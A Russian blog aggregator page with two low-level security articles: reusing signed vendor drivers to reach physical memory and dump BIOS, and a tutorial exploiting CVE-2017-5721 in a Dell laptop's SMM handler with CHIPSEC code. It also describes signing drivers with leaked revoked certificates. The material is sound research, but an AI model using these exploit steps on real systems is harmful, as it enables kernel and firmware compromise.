Русский
Русский
English
Статистика
Реклама

Bios

Windows достучаться до железа

09.11.2020 00:04:35 | Автор: admin

Меня всегда интересовало низкоуровневое программирование общаться напрямую с оборудованием, жонглировать регистрами, детально разбираться как что устроено... Увы, современные операционные системы максимально изолируют железо от пользователя, и просто так в физическую память или регистры устройств что-то записать нельзя. Точнее я так думал, а на самом деле оказалось, что чуть ли не каждый производитель железа так делает!

В чём суть, капитан?

В архитектуре x86 есть понятие колец защиты (Ring) режимов работы процессора. Чем ниже номер текущего режима, тем больше возможностей доступно исполняемому коду. Самым ограниченным кольцом является Ring 3, самым привилегированным Ring -2 (режим SMM). Исторически сложилось, что все пользовательские программы работают в режиме Ring 3, а ядро ОС в Ring 0:

Режимы работы x86 процессораРежимы работы x86 процессора

В Ring 3 программам запрещены потенциально опасные действия, такие как доступ к I/O портам и физической памяти. По логике разработчиков, настолько низкоуровневый доступ обычным программам не нужен. Доступ к этим возможностям имеют только операционная система и её компоненты (службы и драйверы). И всё бы ничего, но однажды я наткнулся на программу RW Everything:

RW Everything действительно читает и пишет практически всёRW Everything действительно читает и пишет практически всё

Эта программа была буквально напичкана именно теми функциями, которые обычно запрещаются программам Ring 3 - полный доступ к физической памяти, I/O портам, конфигурационному пространству PCI (и многое другое). Естественно, мне стало интересно, как это работает. И выяснилось, что RW Everything устанавливает в систему прокси-драйвер:

Смотрим последний установленный драйвер через OSR Driver LoaderСмотрим последний установленный драйвер через OSR Driver Loader

Прокси-драйвера

В итоге получается обходной манёвр всё, что программе запрещено делать, разработчик вынес в драйвер, программа устанавливает драйвер в систему и уже через него программа делает, что хочет! Более того выяснилось, что RW Everything далеко не единственная программа, которая так делает. Таких программ не просто много, они буквально повсюду. У меня возникло ощущение, что каждый уважающий себя производитель железа имеет подобный драйвер:

  • Софт для обновления BIOS (Asrock, Gigabyte, HP, Dell, AMI, Intel, Insyde)

  • Софт для разгона и конфигурации железа (AMD, Intel, ASUS, ASRock, Gigabyte)

  • Софт для просмотра сведений о железе (CPU-Z, GPU-Z, AIDA64)

  • Софт для обновления PCI устройств (Nvidia, Asmedia)

Во многих из них практически та же самая модель поведения драйвер получает команды по типу считай-ка вот этот физический адрес, а основная логика в пользовательском софте. Ниже в табличке я собрал некоторые прокси-драйвера и их возможности:

Результаты краткого анализа пары десятков драйверов. Могут быть ошибки!Результаты краткого анализа пары десятков драйверов. Могут быть ошибки!

Небольшая легенда:

  • Mem чтение / запись физической памяти

  • PCI чтение / запись PCI Configuration Space

  • I/O чтение / запись портов I/O

  • Alloc аллокация и освобождение физической памяти

  • Map прямая трансляция физического адреса в вирутальный

  • MSR чтение / запись x86 MSR (Model Specific Register)

Жёлтым обозначены возможности, которых явно нет, но их можно использовать через другие (чтение или маппинг памяти). Мой фаворит из этого списка AsrDrv101 от ASRock. Он устроен наиболее просто и обладает просто огромным списком возможностей, включая даже функцию поиска шаблона по физической памяти (!!)

Неполный перечень возможностей AsrDrv101
  • Чтение / запись RAM

  • Чтение / запись IO

  • Чтение / запись PCI Configuration Space

  • Чтение / запись MSR (Model-Specific Register)

  • Чтение / запись CR (Control Register)

  • Чтение TSC (Time Stamp Counter)

  • Чтение PMC (Performance Monitoring Counter)

  • Чтение CPUID

  • Alloc / Free физической памяти

  • Поиск по физической памяти

Самое нехорошее в такой ситуации - если подобный драйвер остаётся запущенным на ПК пользователя, для обращения к нему не нужно даже прав администратора! То есть любая программа с правами пользователя сможет читать и писать физическую память - хоть пароли красть, хоть ядро пропатчить. Именно на это уже ругались другие исследователи. Представьте, что висящая в фоне софтина, красиво моргающая светодиодиками на матплате, открывает доступ ко всей вашей системе. Или вирусы намеренно ставят подобный драйвер, чтобы закрепиться в системе. Впрочем, любой мощный инструмент можно в нехороших целях использовать.

Через Python в дебри

Конечно же я захотел сделать свой небольшой "тулкит" для различных исследований и экспериментов на базе такого драйвера. Причём на Python, мне уж очень нравится, как просто выглядит реализация сложных вещей на этом языке.

Первым делом нужно установить драйвер в систему и запустить его. Делаем "как положено" и сначала кладём драйвер (нужной разрядности!) в System32:

#puts the driver into Windows/System32/drivers folderdef SaveDriverFile(self):  winPath = os.environ['WINDIR']  sys32Path = os.path.join(winPath, "System32")  targetPath = os.path.join(sys32Path, "drivers\\" + self.name + ".sys")  file_data = open(self.file_path, "rb").read()  open(targetPath, "wb").write(file_data)

Раньше в похожих ситуациях я извращался с папкой %WINDIR%\Sysnative, но почему-то на моей текущей системе такого алиаса не оказалось, хотя Python 32-битный. (по идее, на 64-битных системах обращения 32-битных программ к папке System32 перенаправляются в папку SysWOW64, и чтобы положить файлик именно в System32, нужно обращаться по имени Sysnative).

Затем регистрируем драйвер в системе и запускаем его:

#registers the driver for further startupdef RegisterDriver(self):  serviceManager = win32service.OpenSCManager(None, None,                                               win32service.SC_MANAGER_ALL_ACCESS)  driverPath = os.path.join(os.environ['WINDIR'], 'system32\\drivers\\' +                             self.name + '.sys')  serviceHandle = win32service.CreateService(serviceManager,self.name,self.name,                                             win32service.SERVICE_ALL_ACCESS,                                              win32service.SERVICE_KERNEL_DRIVER,                                              win32service.SERVICE_DEMAND_START,                                              win32service.SERVICE_ERROR_NORMAL,                                             driverPath, None,0,None,None,None)  win32service.CloseServiceHandle(serviceManager)  win32service.CloseServiceHandle(serviceHandle)#starts the driverdef RunDriver(self):  win32serviceutil.StartService(self.name)

А дальше запущенный драйвер создаёт виртуальный файл (кстати, та самая колонка "имя" в таблице с анализом дров), через запросы к которому и осуществляются дальнейшие действия:

И ещё одна полезная программа для ползания по системе, WinObjИ ещё одна полезная программа для ползания по системе, WinObj

Тоже ничего особенного, открываем файл и делаем ему IoCtl:

#tries to open the driver by namedef OpenDriver(self):    handle = win32file.CreateFile("\\\\.\\" + self.name,                                   win32file.FILE_SHARE_READ |                                   win32file.FILE_SHARE_WRITE,                                   0, None, win32file.OPEN_EXISTING,                                   win32file.FILE_ATTRIBUTE_NORMAL |                                   win32file.FILE_FLAG_OVERLAPPED,                                   None)    if handle == win32file.INVALID_HANDLE_VALUE:          return None    return handle#performs IOCTL!def IoCtl(self, ioctlCode, inData, outLen=0x1100):    out_buf = win32file.DeviceIoControl(self.dh,ioctlCode,inData,outLen,None)    return out_buf

Вот здесь чутка подробнее. Я долго думал, как же обеспечить адекватную обработку ситуации, когда таких "скриптов" запущено несколько. Не останавливать драйвер при выходе нехорошо, в идеале нужно смотреть, не использует ли драйвер кто-то ещё и останавливать его только если наш скрипт "последний". Долгие упорные попытки получить количество открытых ссылок на виртуальный файл драйвера ни к чему не привели (я получал только количество ссылок в рамках своего процесса). Причём сама система точно умеет это делать - при остановке драйвера с открытым файлом, он остаётся висеть в "Pending Stop". Если у кого есть идеи - буду благодарен.

В конечном итоге я "подсмотрел", как это делают другие программы. Выяснилось, что большинство либо не заморачиваются, либо просто ищут запущенные процессы с тем же именем. Но одна из исследованных программ имела кардинально другой подход, который я себе и перенял. Вместо того, чтобы переживать по количеству ссылок на файл, просто на каждый запрос открываем и закрываем файл! А если файла нет, значит кто-то остановил драйвер и пытаемся его перезапустить:

#perform IOCTL!def IoCtl(self, ioctlCode, inData, outLen=0x1100):  #open driver file link  driverHandle = self.OpenDriver()  if driverHandle is None:    self.ReinstallDriver()    driverHandle = self.OpenDriver()    #second try    if driverHandle is None:      return None  #perform IOCTL  out_buf = win32file.DeviceIoControl(driverHandle,ioctlCode,inData,outLen,None)  #close driver file link  win32file.CloseHandle(driverHandle)  return out_buf

А дальше просто реверсим драйвер и реализуем все нужные нам вызовы:

class PmxInterface:  def __init__(self):    self.d = PmxDriver("AsrDrv101")    def MemRead(self, address, size, access=U8):      buf = ctypes.c_buffer(size)      request = struct.pack("<QIIQ", address, size, access,                             ctypes.addressof(buf))      if self.d.IoCtl(0x222808, request, len(request)):        return bytearray(buf)      else:        return None      def MemWrite(self, address, data, access=U8):        buf = ctypes.c_buffer(data, len(data))        request = struct.pack("<QIIQ", address, len(data), access,                               ctypes.addressof(buf))        return self.d.IoCtl(0x22280C, request, len(request)) is not None      # (и все остальные тоже)

И вуаля:

Легко и непринуждённо в пару команд читаем физическую памятьЛегко и непринуждённо в пару команд читаем физическую память

PCI Express Config Space

Немного отвлечёмся на один нюанс про PCIE Config Space. С этим адресным пространством не всё так просто - со времён шины PCI для доступа к её конфигурационному пространству используется метод с использованием I/O портов 0xCF8 / 0xCFC. Он применён и в нашем драйвере AsrDrv101:

Чтение и запись PCI Config SpaceЧтение и запись PCI Config Space

Но через этот метод доступны только 0x100 байт конфигурационного пространства, в то время как в стандарте PCI Express размер Config Space у устройств может быть достигать 0x1000 байт! И полноценно вычитать их можно только обращением к PCI Extended Config Space, которая замаплена где-то в адресном пространстве, обычно чуть пониже BIOS:

Адресное пространство современного x86 компа, 0-4 ГБАдресное пространство современного x86 компа, 0-4 ГБ

На чипсетах Intel (ну, в их большинстве) указатель на эту область адресного пространства можно взять из конфига PCI устройства 0:0:0 по смещению 0x60, подробнее описано в даташитах:

У AMD я такого не нашёл (наверняка есть, плохо искал), но сам факт неуниверсальности пнул меня в сторону поиска другого решения. Погуглив стандарты, я обнаружил, что указатель на эту область передаётся системе через ACPI таблицу MCFG

А сами ACPI таблицы можно найти через запись RSDP, поискав её сигнатуру по адресам 0xE0000-0xFFFFF, а затем распарсив табличку RSDT. Отлично, здесь нам и пригодится функционал поиска по памяти. Получаем нечто такое:

rsdp = self.PhysSearch(0xE0000, 0x20000, b"RSD PTR ", step=0x10)#use rsdt only for simplicityrsdt = self.MemRead32(rsdp + 0x10)(rsdtSign, rsdtLen) = struct.unpack("<II", self.MemRead(rsdt, 8, U32))if rsdtSign == 0x54445352: #RSDT  headerSize = 0x24  rsdtData = self.MemRead(rsdt + headerSize, rsdtLen - headerSize, U32)  #iterate through all ACPI tables  for i in range(len(rsdtData) // 4):    pa = struct.unpack("<I", rsdtData[i*4:(i+1)*4])[0]    table = self.MemRead(pa, 0x40, U32)    if table[0:4] == b"MCFG":      #we have found the right table, parse it      (self.pciMmAddress, pciSeg, botBus, self.pciMmTopBus) =       struct.unpack("<QHBB", table[0x2C:0x38])

На всякий случай оставляем вариант для чипсетов Intel

if self.PciRead16(PciAddress(0,0,0,0)) == 0x8086:  #try intel way  pciexbar = self.PciRead64(PciAddress(0,0,0,0x60))  if pciexbar & 1:    self.pciMmTopBus = (1 << (8 - ((pciexbar >> 1) & 3))) - 1    self.pciMmAddress = pciexbar & 0xFFFF0000

Всё, теперь осталось при необходимости заменить чтение PCI Express Config Space через драйвер на чтение через память. Теперь-то разгуляемся!

Читаем BIOS

В качестве примера применения нашего "тулкита", попробуем набросать скрипт чтения BIOS. Он должен быть "замаплен" где-то в конце 32-битного адресного пространства, потому что компьютер начинает его исполнение с адреса 0xFFFFFFF0. Обычно в ПК стоит флеш-память объёмом 4-16 МБ, поэтому будем "сканировать" адресное пространство с адреса 0xFF000000, как только найдём что-нибудь непустое, будем считать, что тут начался BIOS:

from PyPmx import PmxInterfacepmx = PmxInterface()for i in range(0xFF000000, 0x100000000, 0x10000):  data = pmx.MemRead(i, 0x20)  if data != b"\xFF"*0x20 and data != b"\x00"*0x20:    biosLen = 0x100000000-i    print("BIOS Found at 0x%x" % i)    f = open("dump.bin", "wb")    for j in range(0, biosLen, 0x1000):      data = pmx.MemRead(i + j, 0x1000)      f.write(data)      break

В результате получаем:

Вот так в 10 строчек мы считали BIOSВот так в 10 строчек мы считали BIOS

Но подождите-ка, получилось всего 6 мегабайт, а должно быть 4 или 8 что-то не сходится. А вот так, у чипсетов Intel в адресное пространство мапится не вся флешка BIOS, а только один её регион. И чтобы считать всё остальное, нужно уже использовать SPI интерфейс.

Не беда, лезем в даташит, выясняем, что SPI интерфейс висит на PCI Express:

И для его использования, нужно взаимодействовать с регистрами в BAR0 MMIO по алгоритму:

  1. Задать адрес для чтения в BIOS_FADDR

  2. Задать параметры команды в BIOS_HSFTS_CTL

  3. Прочитать данные из BIOS_FDATA

Пилим новый скрипт для чтения через чипсет:

from PyPmx import PmxInterface, PciAddress, U32spi = PciAddress(0, 31, 5)pmx = PmxInterface()spiMmio = pmx.PciRead32(spi + 0x10) & 0xFFFFF000f = open("dump.bin", "wb")for i in range(0, 0x800000, 0x40):  # write BIOS_FADDR  pmx.MemWrite32(spiMmio + 0x08, i)  # write BIOS_HSFTS_CTL  #        read      0x40 bytes      start     clear fcerr & fgo  cmd = (0 << 17) | (0x3F << 24) | (1 << 16) |         3  pmx.MemWrite32(spiMmio + 0x04, cmd)  # wait for read or error  curCmd = pmx.MemRead32(spiMmio + 0x04)  while curCmd & 3 == 0:    curCmd = pmx.MemRead32(spiMmio + 0x04)  # read BIOS_FDATA  data = pmx.MemRead(spiMmio + 0x10, 0x40, U32)  f.write(data)

Исполняем и вуаля - в 20 строчек кода считаны все 8 МБ флешки BIOS! (нюанс - в зависимости от настроек, регион ME может быть недоступен для чтения).

Точно так же можно делать всё, что заблагорассудится - делать снифер USB пакетов, посылать произвольные ATA команды диску, повышать частоту процессора и переключать видеокарты. И это всё - с обычными правами администратора:

Немного помучившись, получаем ответ от SSD на команду идентификацииНемного помучившись, получаем ответ от SSD на команду идентификации

А если написать свой драйвер?

Некоторые из вас наверняка уже подумали - зачем так изворачиваться, реверсить чужие драйвера, если можно написать свой? И я о таком думал. Более того, есть Open-Source проект chipsec, в котором подобный драйвер уже разработан

Зайдя на страницу с кодом драйвера, вы сразу наткнетесь на предупреждение:

WARNING
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Chipsec should only be run on test systems! !! It should not be installed/deployed on end-user systems!!! !! There are multiple reasons for that:!! !! 1. Chipsec kernel drivers provide raw access to HW resources to !! user-mode applications (like access to physical memory). This would !! allow malware to compromise the OS kernel.!! 2. The driver is distributed as a source code. In order to load it!! on OS which requires signed drivers (e.g. x64 Microsoft Windows 7 !! and higher), you'll need to enable TestSigning mode and self-sign !! the driver binary. Enabling TestSigning (or equivalent) mode also !! turns off important protection of OS kernel.!!!! 3. Due to the nature of access to HW resources, if any chipsec module !! issues incorrect access to these HW resources, OS can crash/hang.!!!! If, for any reason, you want to production sign chipsec driver and !! deploy chipsec on end-user systems,!! DON'T!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

В этом предупреждении как раз и описываются все опасности, о которых я рассказывал в начале статьи - инструмент мощный и опасный, следует использовать только в Windows режиме Test Mode, и ни в коем случае не подписывать. Да, без специальной подписи на обычной системе просто так запустить драйвер не получится. Поэтому в примере выше мы и использовали заранее подписанный драйвер от ASRock.

Если кто сильно захочет подписать собственный драйвер - понадобится регистрировать собственную компанию и платить Microsoft. Насколько я нагуглил, физическим лицам такое развлечение недоступно.

Точнее я так думал, до вот этой статьи, глаз зацепился за крайне интересный абзац:

У меня под рукой нет Windows DDK, так что я взял 64-битныйvfd.sys, скомпилированный неким critical0, и попросилdartraidenподписать его древне-китайским способом. Такой драйвер успешно загружается и работает, еслиvfdwinзапущена с правами администратора

Драйвер из статьи действительно подписан, и действительно неким китайским ключом:

Как оказалось, сведения о подписи можно просто посмотреть в свойствах.. А я в HEX изучалКак оказалось, сведения о подписи можно просто посмотреть в свойствах.. А я в HEX изучал

Немного поиска этого имени в гугле, и я натыкаюсь на вот эту ссылку, откуда узнаю, что:

  • есть давно утёкшие и отозванные ключи для подписи драйверов

  • если ими подписать драйвер - он прекрасно принимается системой

  • малварщики по всему миру используют это для создания вирусни

Основная загвоздка - заставить майкрософтский SignTool подписать драйвер истёкшим ключом, но для этого даже нашёлся проект на GitHub. Более того, я нашёл даже проект на GitHub для другой утилиты подписи драйверов от TrustAsia, с помощью которого можно подставить для подписи вообще любую дату.

Несколько минут мучений с гугл-переводчиком на телефоне, и мне удалось разобраться в этой утилите и подписать драйвер одним из утекших ключей (который довольно легко отыскался в китайском поисковике):

И в самом деле, китайская азбукаИ в самом деле, китайская азбука

И точно так же, как и AsrDrv101, драйвер удалось без проблем запустить!

А вот и наш драйвер запустилсяА вот и наш драйвер запустился

Из чего делаю вывод, что старая идея с написанием своего драйвера вполне себе годная. Как раз не хватает функции маппинга памяти. Но да ладно, оставлю как TODO.

Выводы?

Как видите, имея права администратора, можно делать с компьютером практически что угодно. Будьте внимательны - установка утилит от производителя вашего железа может обернуться дырой в системе. Ну а желающие поэкспериментировать со своим ПК - добро пожаловать на низкий уровень! Наработки выложил на GitHub. Осторожно, бездумное использование чревато BSODами.

Подробнее..

System Management Mode From Zero to Hero

19.05.2021 08:16:04 | Автор: admin

Исследования в области безопасности UEFI BIOS уже не являются чем-то новомодным, но в последнее время чувствуется некоторый дефицит образовательных материалов по этой теме (особенно на русском языке). В этой статье мы постараемся пройти весь путь от нахождения уязвимости и до полной компрометации UEFI BIOS. От эксплуатации execute примитива до закрепления в прошивке UEFI BIOS.

Автор статьи Закиров Руслан @backtrace.

Предполагается, что читатель уже знаком с основами UEFI BIOS и устройством подсистемы SMM.

Тестовый стенд и подготовка к работе

В качестве подопытного кролика мы взяли ноутбук DELL Inspiron 7567. Причины выбора этого ноутбука следующие: нам известно, что в старой прошивке этого ноутбука есть известная уязвимость CVE-2017-5721, а также он есть у нас в наличии.

Первое, что происходит с ноутбуком при начале исследований - определение местоположения SPI флеш-памяти на материнской плате. Обнаружить этот чип можно визуально после разборки ноутбука. SPI флеш-память практически всегда находится на нижней стороне материнской платы, поэтому полный разбор ноутбука не требуется. Иногда даже достаточно снять крышку для доступа к HDD.

После обнаружения SPI флеш-памяти есть 2 варианта развития событий:

  1. Подключаем любым доступным способом флеш-память к программатору напрямую от ноутбука (строго в выключенном состоянии);

  2. Выпаиваем этот чип, для того чтобы можно было поместить его в кроватку (адаптер), что позволит быстро переподключать флеш-память от ноутбука к программатору и обратно.

Мы в нашей работе используем универсальный программатор ChipProg-481, но, в целом, подойдёт любой SPI программатор. Наличие программатора необходимо, поскольку ошибка при работе с содержимым флешки может привести к тому, что ноутбук станет "кирпичом". В таком случае восстановление его работоспособности будет возможно лишь при помощи перезаписи содержимого SPI флеш-памяти заранее снятым с нее дампом "до экспериментов". Также наличие программатора позволит заливать модифицированные прошивки со специальным "бэкдором" для расширение возможностей анализа.

Наша работа будет производиться над версией прошивки 1.0.5 (link). При отсутствии возможности откатиться до этой версии прошивки вы можете воспользоваться нашим дампом.

Работаем с прошивкой

После снятия дампа с SPI флеш-памяти возникает необходимость открыть этот бинарный файл. Для этой цели существует UEFITool, который позволяет не только просматривать содержимое прошивки UEFI BIOS, но и производить поиск, извлекать, добавлять, заменять и удалять компоненты прошивки. Функции, связанные с пересборкой прошивки доступны только в Old Engine версии. Для остальных задач лучше использовать New Engine (содержит "NE" в названии файла).

Довольно часто нужные кодовые модули EFI можно найти внутри дампа по их названиям (напрмер, UsbRt). Но в некоторых случаях вендоры не сохраняют информацию о названиях модулей в прошивке. В таком случае поиск требуемого модуля следует производить при помощи его GUID, но это сработает только с общеизвестными модулями. Нередко разработчики BIOS добавляют в прошивки проприетарные модули, и при отсутствии информации о названиях модулей приходится придумывать свои собственные.

GUID модулей можно найти в следующих источниках:

  1. В открытой реализации UEFI EDKII

  2. В репозитории (U)EFI Whitelisting Project

  3. В прошивке UEFI BIOS другого ноутбука, в котором названия модулей сохранены

  4. В интегрированных базах различных инструментов и плагинов

Инструменты

При анализе модулей наиболее полезными инструментами являются IDA Pro и Ghidra. Но наличие только этих инструментов будет недостаточно. В этих материалах можно подробно узнать об актуальных инструментах при исследовании UEFI BIOS:

Нам понадобятся следующие инструменты:

  • UEFITool - о нем говорилось выше

  • CHIPSEC - при помощи этого фреймворка мы будем разрабатывать наш PoC

  • RWEverything - очень полезный инструмент, который позволяет взаимодействовать с различными аппаратными ресурсами компьютера, и все это при помощи GUI

  • Плагины для IDA Pro: efiXplorer и/или ida-efitools2

  • Если вы приверженец Ghidra, то вам понадобится плагин efiSeek

  • Для обработки дампа SMRAM нам понадобится скрипт smram_parse

Это не исчерпывающий, но достаточный список инструментов этой тематики. Как можно заметить, все перечисленные инструменты относятся к типу инструментов статического анализа. Как же обстоят дела с инструментами динамического анализа? Можно рассмотреть следующий список актуальных инструментов:

Несмотря на существование подобных инструментов и их активное развитие, в практическом плане при поиске уязвимостей в подсистеме SMM они представляют нулевую ценность, поскольку ориентированы на эмуляцию фаз PEI и DXE.

В таком случае появляется вопрос: как же производить отладку? Отладку можно производить при помощи технологии Intel DCI. Информацию об использовании данной технологии можно получить из следующих материалов:

Проблема этой технологии в том, что работает она далеко не везде. Поэтому отладка зачастую производится методом проб и ошибок.

Ищем уязвимость

UsbRt

Попробуем самостоятельно найти уязвимость в модуле UsbRt. Для начала откроем дамп BIOS в UEFITool, после чего сделаем поиск по тексту "UsbRt", и обнаружим, что это название в прошивке отсутстует (вендор не оставил информацию о названиях модулей) либо называется он по-другому.
Произведя поиск в различных источниках (например, здесь) мы определяем, что модулю UsbRt соответствует GUID 04EAAAA1-29A1-11D7-8838-00500473D4EB. Теперь, при помощи поиска по GUID, мы можем извлечь соответствующую секцию образа PE32. На самом деле UEFITool содержит в себе базу общеизвестных GUID-ов, но надпись "USBRT" пришлось бы искать глазами, поскольку поиск по тексту не включает в себя записи из базы GUID-ов.

Здесь и далее будет использоваться инструмент IDA Pro с указанными выше плагинами, но все необходимые манипуляции доступны и в Ghidra.

После открытия модуля UsbRt в IDA Pro нам необходимо найти обработчик software прерываний. Чаще всего все достаточно просто - после отработки плагина ida-efitools2 функция уже подписана как "DispatchFunction".

Но в данном случае эта функция относится к протоколу EFI_SMM_USB_DISPATCH2_PROTOCOL, который нас не сильно интересует. Нам следует отталкиваться от перекрестных ссылок на EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID, чтобы определить место использования интересующего нас протокола. Так мы сможем понять какая функция регистрируется в качестве обработчика software прерываний.

Я назвал обнаруженный обработчик как "SwDispatchFunction". Также можно заметить, что этому обработчику соответствует SMI прерывание #31h.

Здесь стоит обратить внимание на некий глобальный указатель на структуру "usb_data", на основе которой происходит много операций. Из неё же извлекается структура "request", откуда в свою очередь извлекается некий индекс. Ниже можно заметить, что на основе индекса происходит вызов функции из массива.

.code:0000000080000E80 funcs_1C42 dq offset sub_80001F74       ; DATA XREF: sub_8000191C+259o.code:0000000080000E80                                         ; SwDispatchFunction:loc_80001C35o ....code:0000000080000E80         dq offset sub_80002028.code:0000000080000E80         dq offset sub_80002030.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_80002064.code:0000000080000E80         dq offset sub_800020B0.code:0000000080000E80         dq offset sub_80001F38.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_80002938.code:0000000080000E80         dq offset sub_80002E58.code:0000000080000E80         dq offset sub_80003080.code:0000000080000E80         dq offset sub_800030D8.code:0000000080000E80         dq offset sub_800029AC.code:0000000080000E80         dq offset sub_80002B18.code:0000000080000E80         dq offset sub_80002B20.code:0000000080000E80         dq offset sub_80002D08.code:0000000080000E80         dq offset sub_80002D5C.code:0000000080000E80         dq offset sub_80008888.code:0000000080000E80         dq offset sub_80002C84.code:0000000080000E80         dq offset sub_80002EB0

Сделаем вид, что просмотрели все 24 функции, и наибольший интерес у нас вызвала функция с индексом 14 (sub_80003080), которую назовём как "subfunc_14".

Функция, после нескольких арифметических операций, извлекает и передает указатель из структуры usb_data в следующую функцию:

Здесь мы обнаруживаем просто изумительную функцию! Помимо возможности исполнить произвольный адрес эта функция так же позволяет передать вплоть до 7 аргументов! Но главный вопрос - можем ли мы управлять передаваемым указателем?

Приступим к изучению указателя usb_data. Список перекрестных ссылок не оставляет никаких надежд усомниться в местонахождении инициализации данного указателя:

Судя по всему, нам придётся искать модуль, который производит установку протокола EFI_USB_PROTOCOL (сразу после того как убедились, что этот протокол не устанавливается в модуле UsbRt):

На данном этапе, возможно, уместно было бы воспользоваться плагином efiXplorer для поиска нужного модуля, но мы сделаем по старинке. Копируем GUID интересующего нас протокола (ida-efitools2 позволяет это делать при помощи горячей клавиши Ctrl-Alt-G) либо извлекаем соответствующие этому GUID байты. Полученную информацию используем для поиска в прошивке при помощи UEFITool (ставим галочку Header and body).

Сразу можно отсечь модули, у которых вхождения не только в PE32, но и в "MM dependecy section" (секция зависимостей модуля), поскольку модуль не может одновременно предоставлять протокол и зависеть от него.На выбор остаётся Bds, SBDXE, Setup, CsmDxe, UHCD, KbcEmul и некий безымянный модуль. Можно бегло просмотреть все эти модули на предмет установки протокола EFI_USB_PROTOCOL, но что-то мне подсказывает, что первая буква в аббревиатуре UHCD означает Usb, поэтому перейдем сразу к нему.

UHCD

EFI_USB_PROTOCOL действительно устанавливается в этом модуле. Тут же мы видим указатель usb_data. Также важно отметить, что в первое поле структуры EFI_USB_PROTOCOL записывается сигнатура "USBP" ('PBSU' при обратном порядке байтов). Осталось понять, откуда берётся usb_data.

Структура аллоцируется при помощи той же функции, что и в случае с EFI_USB_PROTOCOL. Также устанавливается сигнатура "$UDA" (Usb DAta?). Как же происходит аллокация памяти?

Вот где собака зарыта! Память выделяется при помощи EFI_BOOT_SERVICES, т.е. в фазе DXE. Это значит, что память не размещена внутри SMRAM, поэтому ОС имеет полный доступ к этой памяти, осталось только найти нужные структуры в ней. Тут не помешает отметить, что память выделяется с типом "AllocateMaxAddress", из-за чего с высокой долей вероятности выделенный буфер будет располагаться где-то неподалеку от начала SMRAM.

Прототипируем эксплоит

У нас начинает вырисовываться следующий алгоритм эксплуатации обнаруженной уязвимости:

  1. Ищем в памяти сигнатуру "$UDA" - так мы установим расположение структуры usb_data;

  2. По определенному смещению заменяем указатель в структуре на подконтрольный адрес;

  3. Также обновляем структуру request в usb_data, чтобы вынудить обработчик исполнить subfunc_14;

  4. В той же структуре можно указать буфер с нашими аргументами для вызываемой функции;

  5. Генерируем software прерывание #31h.

Для всех перечисленных действий нам потребуется привилегии ядра (Ring 0). Но писать эксплоит в виде системного драйвера выглядит довольно трудозатратно и долго.
Под эту задачу идеально подходит фреймворк CHIPSEC, который написан на Python, и который имеет все необходимые примитивы по работе с физической памятью, PCI, прерываниями и прочими аппаратными функциями.
CHIPSEC для доступа к аппаратным ресурсам использует собственный самоподписанный системный драйвер. Из-за этого ОС необходимо переключать в тестовый режим. Но CHIPSEC также позволяет использовать драйвер RWEverything, который имеет валидную цифровую подпись. Этот вариант имеет некоторые подводные камни, как, например, ограничение на размер выделяемой физической памяти, который не может превышать 0x10000 байт.

Инициализация и генерирование прерывания через фреймворк CHIPSEC выглядит следующим образом:

import chipsec.chipsetfrom chipsec.hal.interrupts import InterruptsSMI_USB_RUNTIME = 0x31cs = chipsec.chipset.cs()cs.init(None, None, True, True)intr = Interrupts(cs)intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

Приступим к поиску usb_data в памяти.

mem_read = cs.helper.read_physical_memmem_write = cs.helper.write_physical_memmem_alloc = cs.helper.alloc_physical_memPAGE_SIZE = 0x1000SMRAM = cs.cpu.get_SMRAM()[0]for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):    if mem_read(addr * PAGE_SIZE, 4) == b'$UDA':        usb_data = addr * PAGE_SIZE        break

Мы пользуемся особенностью памяти, выделенной по типу AllocateMaxAddress, производя поиск от SMRAM в обратном порядке. Также нет смысла сверять каждый байт, поскольку для этого буфера выделялись страницы памяти, поэтому шагаем по 4096 байт.

Теперь подготовим нашу структуру request и обновим соответствующий указатель в usb_data:

struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветер# по этому смещению UsbRt берёт указатель на структуру requestmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))

И самое интересное - изменяем указатель по смещению 0x78 (именно такое значение получается после всех вычислений в функции subfunc_14) в структуре usb_data. Модуль UsbRt затем попытается его исполнить в процессе обработки прерывания.

bad_ptr = 0x12345678func_offset = 0x78mem_write(usb_data + func_offset, 8, pack('<Q', bad_ptr))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

По исполнению этого кода можно заметить, что система намертво зависла. Но дело совсем не в том, что по адресу 0x12345678 располагается невесть что, а в том, что произошло аппаратное исключение Machine Check Exception. Наступило оно по причине того, что современные платформы предотвращают исполнение SMM кода вне региона SMRAM (SMM_Code_Chk_En).

Обойти это ограничение относительно легко - достаточно посмотреть адрес функции memcpy в модуле UsbRt (или любом другом) в дампе SMRAM. Но без дампа SMRAM адрес так просто не узнать. И здесь мы переходим ко второй части этой статьи.

Создаем полноценный эксплоит

Главный минус текущего варианта эксплоита в том, что он позволяешь лишь исполнить код по указанному адресу. Для свободы действий необходимо придумать способ развить эксплоит до полноценного read-write-execute примитива.

Мы можем исполнить любой код в SMRAM, но мы не знаем расположение функций внутри SMRAM. Значит, нужно самостоятельно определить базовый адрес какого-либо модуля. И уже относительно этого базового адреса мы сможем получить адрес интересующей нас функции (memcpy, например).

Полезные структуры

